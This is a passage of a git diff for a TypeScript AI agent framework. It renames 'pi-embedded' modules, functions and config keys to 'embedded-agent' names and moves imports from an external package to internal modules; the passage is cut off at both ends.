describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -1114,7 +1059,7 @@ describe("subscribeEmbeddedPiSession", () => { const { session, emit } = createStubSessionHarness(); const onAgentEvent = vi.fn(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run-replay-invalid-compaction", onAgentEvent, @@ -1152,7 +1097,7 @@ describe("subscribeEmbeddedPiSession", () => { const { session, emit } = createStubSessionHarness(); const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run-cron-side-effect-compaction", onAgentEvent, @@ -1181,7 +1126,7 @@ describe("subscribeEmbeddedPiSession", () => { it("preserves accepted session spawn terminal evidence across compaction retries", () => { const { session, emit } = createStubSessionHarness(); const onAgentEvent = vi.fn(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run-spawn-side-effect-compaction", onAgentEvent, @@ -1224,7 +1169,7 @@ describe("subscribeEmbeddedPiSession", () => { it("notifies the runner once when a heartbeat response tool result is recorded", async () => { const { session, emit } = createStubSessionHarness(); const onHeartbeatToolResponse = vi.fn(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run-heartbeat-terminal", sessionKey: "agent:main:main", diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-commentary-phase-output.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-commentary-phase-output.test.ts similarity index 90% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-commentary-phase-output.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-commentary-phase-output.test.ts index ab25c4ad7b2..a2118bcf8ed 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-commentary-phase-output.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-commentary-phase-output.test.ts @@ -1,12 +1,12 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; -import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; +import { createSubscribedSessionHarness } from "./embedded-agent-subscribe.e2e-harness.js"; type AssistantMessageWithPhase = AssistantMessage & { phase?: "commentary" | "final_answer"; }; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("suppresses commentary-phase assistant messages before tool use", () => { const onBlockReply = vi.fn(); const onPartialReply = vi.fn(); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-message-end-block-replies-message-tool.test.ts similarity index 95% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-message-end-block-replies-message-tool.test.ts index 9c5a8526f0b..9b782eb5426 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.suppresses-message-end-block-replies-message-tool.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.suppresses-message-end-block-replies-message-tool.test.ts @@ -1,17 +1,17 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createSubscribedSessionHarness, createStubSessionHarness, emitAssistantTextDelta, emitAssistantTextEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; function createBlockReplyHarness(blockReplyBreak: "message_end" | "text_end") { const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", onBlockReply, @@ -63,7 +63,7 @@ function emitAssistantTextEndBlock(emit: (evt: unknown) => void, text: string) { emitAssistantTextEnd({ emit }); } -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("suppresses message_end block replies when the message tool already sent", async () => { const { emit, onBlockReply } = createBlockReplyHarness("message_end"); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.waits-multiple-compaction-retries-before-resolving.test.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.waits-multiple-compaction-retries-before-resolving.test.ts index da596f43f24..d6d366f91c4 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.waits-multiple-compaction-retries-before-resolving.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from "vitest"; import { onAgentEvent } from "../infra/agent-events.js"; -import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; +import { createSubscribedSessionHarness } from "./embedded-agent-subscribe.e2e-harness.js"; function toolResultPayloadAt( onToolResult: ReturnType, @@ -15,7 +15,7 @@ function toolResultPayloadAt( return payload as { text?: string }; } -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("waits for multiple compaction retries before resolving", async () => { const { emit, subscription } = createSubscribedSessionHarness({ runId: "run-3", diff --git a/src/agents/pi-embedded-subscribe.tool-text-diagnostics.ts b/src/agents/embedded-agent-subscribe.tool-text-diagnostics.ts similarity index 93% rename from src/agents/pi-embedded-subscribe.tool-text-diagnostics.ts rename to src/agents/embedded-agent-subscribe.tool-text-diagnostics.ts index 062359ad30c..1086a1f7e24 100644 --- a/src/agents/pi-embedded-subscribe.tool-text-diagnostics.ts +++ b/src/agents/embedded-agent-subscribe.tool-text-diagnostics.ts @@ -1,8 +1,8 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "../llm/types.js"; import { extractTextFromChatContent } from "../shared/chat-content.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; import { detectToolCallShapedText } from "../shared/text/tool-call-shaped-text.js"; -import type { EmbeddedPiSubscribeContext } from "./pi-embedded-subscribe.handlers.types.js"; +import type { EmbeddedAgentSubscribeContext } from "./embedded-agent-subscribe.handlers.types.js"; import { normalizeToolName } from "./tool-policy.js"; function hasStructuredToolInvocation(message: AssistantMessage): boolean { @@ -55,7 +55,7 @@ function isRegisteredToolName( } export function warnIfAssistantEmittedToolText( - ctx: EmbeddedPiSubscribeContext, + ctx: EmbeddedAgentSubscribeContext, assistantMessage: AssistantMessage, ) { if (hasStructuredToolInvocation(assistantMessage)) { diff --git a/src/agents/pi-embedded-subscribe.tools.extract.test.ts b/src/agents/embedded-agent-subscribe.tools.extract.test.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.tools.extract.test.ts rename to src/agents/embedded-agent-subscribe.tools.extract.test.ts index b1f00f8954e..5ab0119d2db 100644 --- a/src/agents/pi-embedded-subscribe.tools.extract.test.ts +++ b/src/agents/embedded-agent-subscribe.tools.extract.test.ts @@ -1,7 +1,7 @@ import { beforeEach, describe, expect, it } from "vitest"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createChannelTestPluginBase, createTestRegistry } from "../test-utils/channel-plugins.js"; -import { extractMessagingToolSend } from "./pi-embedded-subscribe.tools.js"; +import { extractMessagingToolSend } from "./embedded-agent-subscribe.tools.js"; function normalizeTelegramMessagingTargetForTest(raw: string): string | undefined { const trimmed = raw.trim(); diff --git a/src/agents/pi-embedded-subscribe.tools.media.test.ts b/src/agents/embedded-agent-subscribe.tools.media.test.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.tools.media.test.ts rename to src/agents/embedded-agent-subscribe.tools.media.test.ts index 51372b5bf5a..d366d0a61cb 100644 --- a/src/agents/pi-embedded-subscribe.tools.media.test.ts +++ b/src/agents/embedded-agent-subscribe.tools.media.test.ts @@ -4,7 +4,7 @@ import { extractToolResultMediaPaths, filterToolResultMediaUrls, isToolResultMediaTrusted, -} from "./pi-embedded-subscribe.tools.js"; +} from "./embedded-agent-subscribe.tools.js"; describe("extractToolResultMediaPaths", () => { it("returns empty array for null/undefined", () => { @@ -147,7 +147,7 @@ describe("extractToolResultMediaPaths", () => { }); it("falls back to details.path when image content exists but no MEDIA: text", () => { - // Pi SDK read tool doesn't include MEDIA: but OpenClaw imageResult + // Embedded read tool doesn't include MEDIA: but OpenClaw imageResult // sets details.path as fallback. const result = { content: [ @@ -160,7 +160,7 @@ describe("extractToolResultMediaPaths", () => { }); it("returns empty array when image content exists but no MEDIA: and no details.path", () => { - // Pi SDK read tool: has image content but no path anywhere in the result. + // Embedded read tool: has image content but no path anywhere in the result. const result = { content: [ { type: "text", text: "Read image file [image/png]" }, diff --git a/src/agents/pi-embedded-subscribe.tools.test.ts b/src/agents/embedded-agent-subscribe.tools.test.ts similarity index 99% rename from src/agents/pi-embedded-subscribe.tools.test.ts rename to src/agents/embedded-agent-subscribe.tools.test.ts index 000ed8b82b5..a6966c78007 100644 --- a/src/agents/pi-embedded-subscribe.tools.test.ts +++ b/src/agents/embedded-agent-subscribe.tools.test.ts @@ -6,7 +6,7 @@ import { extractToolErrorMessage, sanitizeToolArgs, sanitizeToolResult, -} from "./pi-embedded-subscribe.tools.js"; +} from "./embedded-agent-subscribe.tools.js"; afterEach(() => { vi.restoreAllMocks(); diff --git a/src/agents/pi-embedded-subscribe.tools.ts b/src/agents/embedded-agent-subscribe.tools.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.tools.ts rename to src/agents/embedded-agent-subscribe.tools.ts index f1b51d806a8..3ae959d482e 100644 --- a/src/agents/pi-embedded-subscribe.tools.ts +++ b/src/agents/embedded-agent-subscribe.tools.ts @@ -11,8 +11,8 @@ import { import { uniqueStrings } from "../shared/string-normalization.js"; import { truncateUtf16Safe } from "../utils.js"; import { collectTextContentBlocks } from "./content-blocks.js"; -import { isMessageToolSendActionName } from "./pi-embedded-messaging.js"; -import type { MessagingToolSend } from "./pi-embedded-messaging.types.js"; +import { isMessageToolSendActionName } from "./embedded-agent-messaging.js"; +import type { MessagingToolSend } from "./embedded-agent-messaging.types.js"; import { normalizeToolName } from "./tool-policy.js"; const TOOL_RESULT_MAX_CHARS = 8000; @@ -415,7 +415,7 @@ export function filterToolResultMediaUrls( * 2. Parse `MEDIA:` directive tokens from text content blocks. * 3. Fall back to `details.path` when image content exists (legacy imageResult). * - * Returns an empty array when no media is found (e.g. Pi SDK `read` tool + * Returns an empty array when no media is found (e.g. embedded `read` tool * returns base64 image data but no file path; those need a different delivery * path like saving to a temp file). */ diff --git a/src/agents/pi-embedded-subscribe.ts b/src/agents/embedded-agent-subscribe.ts similarity index 96% rename from src/agents/pi-embedded-subscribe.ts rename to src/agents/embedded-agent-subscribe.ts index 7f744b29450..b320451697f 100644 --- a/src/agents/pi-embedded-subscribe.ts +++ b/src/agents/embedded-agent-subscribe.ts @@ -1,4 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { setReplyPayloadMetadata } from "../auto-reply/reply-payload.js"; import { parseReplyDirectives } from "../auto-reply/reply/reply-directives.js"; import { createStreamingDirectiveAccumulator } from "../auto-reply/reply/streaming-directives.js"; @@ -11,42 +10,43 @@ import { buildCodeSpanIndex, createInlineCodeState } from "../markdown/code-span import { normalizeOptionalString } from "../shared/string-coerce.js"; import { findFinalTagMatches } from "../shared/text/final-tags.js"; import { hasOrphanReasoningCloseBoundary } from "../shared/text/reasoning-tags.js"; -import { mediaUrlsFromGeneratedAttachments } from "./generated-attachments.js"; -import { EmbeddedBlockChunker } from "./pi-embedded-block-chunker.js"; +import { EmbeddedBlockChunker } from "./embedded-agent-block-chunker.js"; import { isMessagingToolDuplicateNormalized, normalizeTextForComparison, -} from "./pi-embedded-helpers.js"; -import type { BlockReplyPayload } from "./pi-embedded-payloads.js"; -import { hasCommittedMessagingToolDeliveryEvidence } from "./pi-embedded-runner/delivery-evidence.js"; +} from "./embedded-agent-helpers.js"; +import type { BlockReplyPayload } from "./embedded-agent-payloads.js"; +import { hasCommittedMessagingToolDeliveryEvidence } from "./embedded-agent-runner/delivery-evidence.js"; import { createEmbeddedRunReplayState, mergeEmbeddedRunReplayState, -} from "./pi-embedded-runner/replay-state.js"; -import type { EmbeddedRunLivenessState } from "./pi-embedded-runner/types.js"; -import { createEmbeddedPiSessionEventHandler } from "./pi-embedded-subscribe.handlers.js"; +} from "./embedded-agent-runner/replay-state.js"; +import type { EmbeddedRunLivenessState } from "./embedded-agent-runner/types.js"; +import { createEmbeddedAgentSessionEventHandler } from "./embedded-agent-subscribe.handlers.js"; import { consumePendingAssistantReplyDirectivesIntoReply, consumePendingToolMediaIntoReply, hasAssistantVisibleReply, readPendingToolMediaReply, -} from "./pi-embedded-subscribe.handlers.messages.js"; +} from "./embedded-agent-subscribe.handlers.messages.js"; import { handleToolExecutionEnd, handleToolExecutionStart, -} from "./pi-embedded-subscribe.handlers.tools.js"; +} from "./embedded-agent-subscribe.handlers.tools.js"; import type { - EmbeddedPiSubscribeContext, - EmbeddedPiSubscribeState, -} from "./pi-embedded-subscribe.handlers.types.js"; -import { isPromiseLike } from "./pi-embedded-subscribe.promise.js"; + EmbeddedAgentSubscribeContext, + EmbeddedAgentSubscribeState, +} from "./embedded-agent-subscribe.handlers.types.js"; +import { isPromiseLike } from "./embedded-agent-subscribe.promise.js"; import { buildToolLifecycleErrorResult, filterToolResultMediaUrls, -} from "./pi-embedded-subscribe.tools.js"; -import type { SubscribeEmbeddedPiSessionParams } from "./pi-embedded-subscribe.types.js"; -import { stripDowngradedToolCallText, THINKING_TAG_SCAN_RE } from "./pi-embedded-utils.js"; +} from "./embedded-agent-subscribe.tools.js"; +import type { SubscribeEmbeddedAgentSessionParams } from "./embedded-agent-subscribe.types.js"; +import { stripDowngradedToolCallText, THINKING_TAG_SCAN_RE } from "./embedded-agent-utils.js"; +import { mediaUrlsFromGeneratedAttachments } from "./generated-attachments.js"; import type { AgentRunTimeoutPhase } from "./run-timeout-attribution.js"; +import type { AgentMessage } from "./runtime/index.js"; import { hasNonzeroUsage, normalizeUsage, type UsageLike } from "./usage.js"; const STREAM_STRIPPED_BLOCK_TAG_NAMES = [ @@ -97,7 +97,7 @@ function splitTrailingBlockTagFragment( } function collectPendingMediaFromInternalEvents( - events: SubscribeEmbeddedPiSessionParams["internalEvents"], + events: SubscribeEmbeddedAgentSessionParams["internalEvents"], ): string[] { if (!events?.length) { return []; @@ -121,15 +121,15 @@ function collectPendingMediaFromInternalEvents( return pending; } -export type { SubscribeEmbeddedPiSessionParams } from "./pi-embedded-subscribe.types.js"; +export type { SubscribeEmbeddedAgentSessionParams } from "./embedded-agent-subscribe.types.js"; -export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionParams) { +export function subscribeEmbeddedAgentSession(params: SubscribeEmbeddedAgentSessionParams) { const reasoningMode = params.reasoningMode ?? "off"; const canShowReasoning = params.thinkingLevel !== "off"; const toolResultFormat = params.toolResultFormat ?? "markdown"; const useMarkdown = toolResultFormat === "markdown"; const initialPendingToolMediaUrls = collectPendingMediaFromInternalEvents(params.internalEvents); - const state: EmbeddedPiSubscribeState = { + const state: EmbeddedAgentSubscribeState = { assistantTexts: [], toolMetas: [], acceptedSessionSpawns: [], @@ -225,7 +225,7 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar const shouldAllowSilentTurnText = (text: string | undefined) => Boolean(text && isSilentReplyText(text, SILENT_REPLY_TOKEN)); const emitBlockReplySafely = ( - payload: Parameters>[0], + payload: Parameters>[0], options?: { assistantMessageIndex?: number }, ): boolean => { if (!params.onBlockReply) { @@ -533,7 +533,7 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar const blockChunker = blockChunking ? new EmbeddedBlockChunker(blockChunking) : null; // KNOWN: Provider streams are not strictly once-only or perfectly ordered. // `text_end` can repeat full content; late `text_end` can arrive after `message_end`. - // Tests: `src/agents/pi-embedded-subscribe.test.ts` (e.g. late text_end cases). + // Tests: `src/agents/embedded-agent-subscribe.test.ts` (e.g. late text_end cases). const shouldEmitToolResult = () => typeof params.shouldEmitToolResult === "function" ? params.shouldEmitToolResult() @@ -1002,7 +1002,7 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar } }; - const ctx: EmbeddedPiSubscribeContext = { + const ctx: EmbeddedAgentSubscribeContext = { params, state, log, @@ -1040,7 +1040,7 @@ export function subscribeEmbeddedPiSession(params: SubscribeEmbeddedPiSessionPar getLastCompactionTokensAfter: () => state.lastCompactionTokensAfter, }; - const sessionUnsubscribe = params.session.subscribe(createEmbeddedPiSessionEventHandler(ctx)); + const sessionUnsubscribe = params.session.subscribe(createEmbeddedAgentSessionEventHandler(ctx)); const unsubscribe = () => { if (state.unsubscribed) { diff --git a/src/agents/pi-embedded-subscribe.types.ts b/src/agents/embedded-agent-subscribe.types.ts similarity index 89% rename from src/agents/pi-embedded-subscribe.types.ts rename to src/agents/embedded-agent-subscribe.types.ts index b1cc67f350e..a67172c10f2 100644 --- a/src/agents/pi-embedded-subscribe.types.ts +++ b/src/agents/embedded-agent-subscribe.types.ts @@ -1,4 +1,3 @@ -import type { AgentSession } from "@earendil-works/pi-coding-agent"; import type { PartialReplyPayload, SourceReplyDeliveryMode, @@ -8,21 +7,22 @@ import type { ReplyPayload } from "../auto-reply/reply-payload.js"; import type { ReasoningLevel, ThinkLevel, VerboseLevel } from "../auto-reply/thinking.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { HookRunner } from "../plugins/hooks.js"; -import type { AgentInternalEvent } from "./internal-events.js"; -import type { BlockReplyPayload } from "./pi-embedded-payloads.js"; -import type { EmbeddedRunReplayState } from "./pi-embedded-runner/replay-state.js"; +import type { BlockReplyPayload } from "./embedded-agent-payloads.js"; +import type { EmbeddedRunReplayState } from "./embedded-agent-runner/replay-state.js"; import type { BlockReplyChunking, ToolProgressDetailMode, ToolResultFormat, -} from "./pi-embedded-subscribe.shared-types.js"; +} from "./embedded-agent-subscribe.shared-types.js"; +import type { AgentInternalEvent } from "./internal-events.js"; +import type { AgentSession } from "./sessions/index.js"; export type { BlockReplyChunking, ToolProgressDetailMode, ToolResultFormat, -} from "./pi-embedded-subscribe.shared-types.js"; +} from "./embedded-agent-subscribe.shared-types.js"; -export type SubscribeEmbeddedPiSessionParams = { +export type SubscribeEmbeddedAgentSessionParams = { session: AgentSession; runId: string; initialReplayState?: EmbeddedRunReplayState; diff --git a/src/agents/pi-embedded-utils.strip-model-special-tokens.test.ts b/src/agents/embedded-agent-utils.strip-model-special-tokens.test.ts similarity index 92% rename from src/agents/pi-embedded-utils.strip-model-special-tokens.test.ts rename to src/agents/embedded-agent-utils.strip-model-special-tokens.test.ts index ef0e2b32dec..82face744b7 100644 --- a/src/agents/pi-embedded-utils.strip-model-special-tokens.test.ts +++ b/src/agents/embedded-agent-utils.strip-model-special-tokens.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { stripModelSpecialTokens } from "./pi-embedded-utils.js"; +import { stripModelSpecialTokens } from "./embedded-agent-utils.js"; /** * @see https://github.com/openclaw/openclaw/issues/40020 diff --git a/src/agents/pi-embedded-utils.test.ts b/src/agents/embedded-agent-utils.test.ts similarity index 99% rename from src/agents/pi-embedded-utils.test.ts rename to src/agents/embedded-agent-utils.test.ts index b8ec8a4463e..7cac4f533ee 100644 --- a/src/agents/pi-embedded-utils.test.ts +++ b/src/agents/embedded-agent-utils.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { extractAssistantText, @@ -7,7 +7,7 @@ import { formatReasoningMessage, promoteThinkingTagsToBlocks, stripDowngradedToolCallText, -} from "./pi-embedded-utils.js"; +} from "./embedded-agent-utils.js"; function makeAssistantMessage( message: Omit & diff --git a/src/agents/pi-embedded-utils.ts b/src/agents/embedded-agent-utils.ts similarity index 98% rename from src/agents/pi-embedded-utils.ts rename to src/agents/embedded-agent-utils.ts index fa77786ef36..37a0e2c5ead 100644 --- a/src/agents/pi-embedded-utils.ts +++ b/src/agents/embedded-agent-utils.ts @@ -1,5 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "../llm/types.js"; import { extractTextFromChatContent } from "../shared/chat-content.js"; import { normalizeAssistantPhase, @@ -8,7 +7,8 @@ import { } from "../shared/chat-message-content.js"; import { sanitizeAssistantVisibleText } from "../shared/text/assistant-visible-text.js"; import { stripReasoningTagsFromText } from "../shared/text/reasoning-tags.js"; -import { sanitizeUserFacingText } from "./pi-embedded-helpers/sanitize-user-facing-text.js"; +import { sanitizeUserFacingText } from "./embedded-agent-helpers/sanitize-user-facing-text.js"; +import type { AgentMessage } from "./runtime/index.js"; import { formatToolDetail, resolveToolDisplay } from "./tool-display.js"; export { diff --git a/src/agents/embedded-agent.runtime.ts b/src/agents/embedded-agent.runtime.ts new file mode 100644 index 00000000000..feaa3599d7e --- /dev/null +++ b/src/agents/embedded-agent.runtime.ts @@ -0,0 +1,11 @@ +export { + abortAndDrainEmbeddedAgentRun, + abortEmbeddedAgentRun, + isEmbeddedAgentRunActive, + isEmbeddedAgentRunStreaming, + resolveActiveEmbeddedRunSessionId, + resolveActiveEmbeddedRunSessionIdBySessionFile, + runEmbeddedAgent, + resolveEmbeddedSessionLane, + waitForEmbeddedAgentRunEnd, +} from "./embedded-agent.js"; diff --git a/src/agents/pi-embedded.ts b/src/agents/embedded-agent.ts similarity index 53% rename from src/agents/pi-embedded.ts rename to src/agents/embedded-agent.ts index 3a2e388cbd8..bd877010799 100644 --- a/src/agents/pi-embedded.ts +++ b/src/agents/embedded-agent.ts @@ -3,30 +3,19 @@ export type { EmbeddedAgentMeta, EmbeddedAgentRunMeta, EmbeddedAgentRunResult, - EmbeddedPiAgentMeta, - EmbeddedPiCompactResult, - EmbeddedPiRunMeta, - EmbeddedPiRunResult, -} from "./pi-embedded-runner.js"; +} from "./embedded-agent-runner.js"; export { - abortAndDrainEmbeddedPiRun, + abortAndDrainEmbeddedAgentRun, abortEmbeddedAgentRun, - abortEmbeddedPiRun, compactEmbeddedAgentSession, - compactEmbeddedPiSession, isEmbeddedAgentRunActive, isEmbeddedAgentRunStreaming, - isEmbeddedPiRunActive, - isEmbeddedPiRunStreaming, queueEmbeddedAgentMessage, - queueEmbeddedPiMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, resolveActiveEmbeddedAgentRunSessionId, resolveActiveEmbeddedRunSessionId, resolveActiveEmbeddedRunSessionIdBySessionFile, resolveEmbeddedSessionLane, runEmbeddedAgent, - runEmbeddedPiAgent, waitForEmbeddedAgentRunEnd, - waitForEmbeddedPiRunEnd, -} from "./pi-embedded-runner.js"; +} from "./embedded-agent-runner.js"; diff --git a/src/agents/execution-contract.test.ts b/src/agents/execution-contract.test.ts index d426893a5b1..3030e32a058 100644 --- a/src/agents/execution-contract.test.ts +++ b/src/agents/execution-contract.test.ts @@ -137,7 +137,7 @@ describe("resolveEffectiveExecutionContract", () => { const config: OpenClawConfig = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -156,7 +156,7 @@ describe("resolveEffectiveExecutionContract", () => { const config: OpenClawConfig = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "default", }, }, @@ -175,7 +175,7 @@ describe("resolveEffectiveExecutionContract", () => { const config: OpenClawConfig = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, diff --git a/src/agents/execution-contract.ts b/src/agents/execution-contract.ts index ab9c9bea273..13b87b8f396 100644 --- a/src/agents/execution-contract.ts +++ b/src/agents/execution-contract.ts @@ -57,7 +57,7 @@ export function isStrictAgenticSupportedProviderModel(params: { } /** - * Returns the effective execution contract for an embedded Pi run. + * Returns the effective execution contract for an embedded OpenClaw run. * * strict-agentic is a GPT-5-family openai/openai-codex-only runtime contract, * so an unsupported provider/model pair always collapses to `"default"` diff --git a/src/agents/failover-error.test.ts b/src/agents/failover-error.test.ts index dc317aae99a..3ee83d7c877 100644 --- a/src/agents/failover-error.test.ts +++ b/src/agents/failover-error.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it } from "vitest"; +import { classifyFailoverSignal } from "./embedded-agent-helpers/errors.js"; import { coerceToFailoverError, describeFailoverError, @@ -8,7 +9,6 @@ import { resolveFailoverReasonFromError, resolveFailoverStatus, } from "./failover-error.js"; -import { classifyFailoverSignal } from "./pi-embedded-helpers/errors.js"; import { SessionWriteLockTimeoutError } from "./session-write-lock-error.js"; // OpenAI 429 example shape: https://help.openai.com/en/articles/5955604-how-can-i-solve-429-too-many-requests-errors @@ -488,7 +488,7 @@ describe("failover-error", () => { ).toBeNull(); }); - it("classifies bare pi-ai stream wrapper as timeout regardless of provider (#71620)", () => { + it("classifies bare shared model runtime stream wrapper as timeout regardless of provider (#71620)", () => { expect( resolveFailoverReasonFromError({ message: "An unknown error occurred", diff --git a/src/agents/failover-error.ts b/src/agents/failover-error.ts index 3efbe96fbde..6a1e5a95a93 100644 --- a/src/agents/failover-error.ts +++ b/src/agents/failover-error.ts @@ -5,9 +5,9 @@ import { isUnclassifiedNoBodyHttpSignal, type FailoverClassification, type FailoverSignal, -} from "./pi-embedded-helpers/errors.js"; -import { isTimeoutErrorMessage } from "./pi-embedded-helpers/errors.js"; -import type { FailoverReason } from "./pi-embedded-helpers/types.js"; +} from "./embedded-agent-helpers/errors.js"; +import { isTimeoutErrorMessage } from "./embedded-agent-helpers/errors.js"; +import type { FailoverReason } from "./embedded-agent-helpers/types.js"; import { isSessionWriteLockTimeoutError } from "./session-write-lock-error.js"; const ABORT_TIMEOUT_RE = /request was aborted|request aborted/i; @@ -240,7 +240,7 @@ function hasSessionWriteLockTimeout(err: unknown, seen: Set = new Set()) } function isEmbeddedAttemptSessionTakeover(err: unknown): boolean { - // Match by name to avoid importing pi-embedded-runner here (would create a cycle). + // Match by name to avoid importing embedded-agent-runner here (would create a cycle). return Boolean( err && typeof err === "object" && readErrorName(err) === "EmbeddedAttemptSessionTakeoverError", ); diff --git a/src/agents/failover-policy.test.ts b/src/agents/failover-policy.test.ts index dbe9058c6d4..7ef0e9a2d74 100644 --- a/src/agents/failover-policy.test.ts +++ b/src/agents/failover-policy.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it } from "vitest"; +import type { FailoverReason } from "./embedded-agent-helpers.js"; import { shouldAllowCooldownProbeForReason, shouldPreserveTransientCooldownProbeSlot, shouldUseTransientCooldownProbeSlot, } from "./failover-policy.js"; -import type { FailoverReason } from "./pi-embedded-helpers.js"; type ReasonCase = { reason: FailoverReason | null | undefined; diff --git a/src/agents/failover-policy.ts b/src/agents/failover-policy.ts index 62b1d51108d..06c1a9868d9 100644 --- a/src/agents/failover-policy.ts +++ b/src/agents/failover-policy.ts @@ -1,4 +1,4 @@ -import type { FailoverReason } from "./pi-embedded-helpers.js"; +import type { FailoverReason } from "./embedded-agent-helpers.js"; export function shouldAllowCooldownProbeForReason( reason: FailoverReason | null | undefined, diff --git a/src/agents/google-gemini-switch.live.test.ts b/src/agents/google-gemini-switch.live.test.ts index 5169a164ca9..9d2408b28c3 100644 --- a/src/agents/google-gemini-switch.live.test.ts +++ b/src/agents/google-gemini-switch.live.test.ts @@ -1,4 +1,4 @@ -import { completeSimple, getModel } from "@earendil-works/pi-ai"; +import { completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; import { isLiveTestEnabled } from "./live-test-helpers.js"; @@ -15,7 +15,18 @@ describeLive("gemini live switch", () => { for (const modelId of googleModels) { it(`handles unsigned tool calls from Antigravity when switching to ${modelId}`, async () => { const now = Date.now(); - const model = getModel("google", modelId); + const model: Model<"google-generative-ai"> = { + id: modelId, + name: modelId, + api: "google-generative-ai", + provider: "google", + baseUrl: "https://generativelanguage.googleapis.com/v1beta", + reasoning: true, + input: ["text", "image"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 1_000_000, + maxTokens: 65_536, + }; const res = await completeSimple( model, diff --git a/src/agents/harness-runtimes.test.ts b/src/agents/harness-runtimes.test.ts index cd256a8a28d..20ddee147a5 100644 --- a/src/agents/harness-runtimes.test.ts +++ b/src/agents/harness-runtimes.test.ts @@ -15,9 +15,7 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { }, } as OpenClawConfig; - expect(collectConfiguredAgentHarnessRuntimes(config, {}, { includeEnvRuntime: false })).toEqual( - ["codex"], - ); + expect(collectConfiguredAgentHarnessRuntimes(config)).toEqual(["codex"]); }); it("can ignore implicit OpenAI Codex runtime preferences", () => { @@ -36,14 +34,9 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { } as 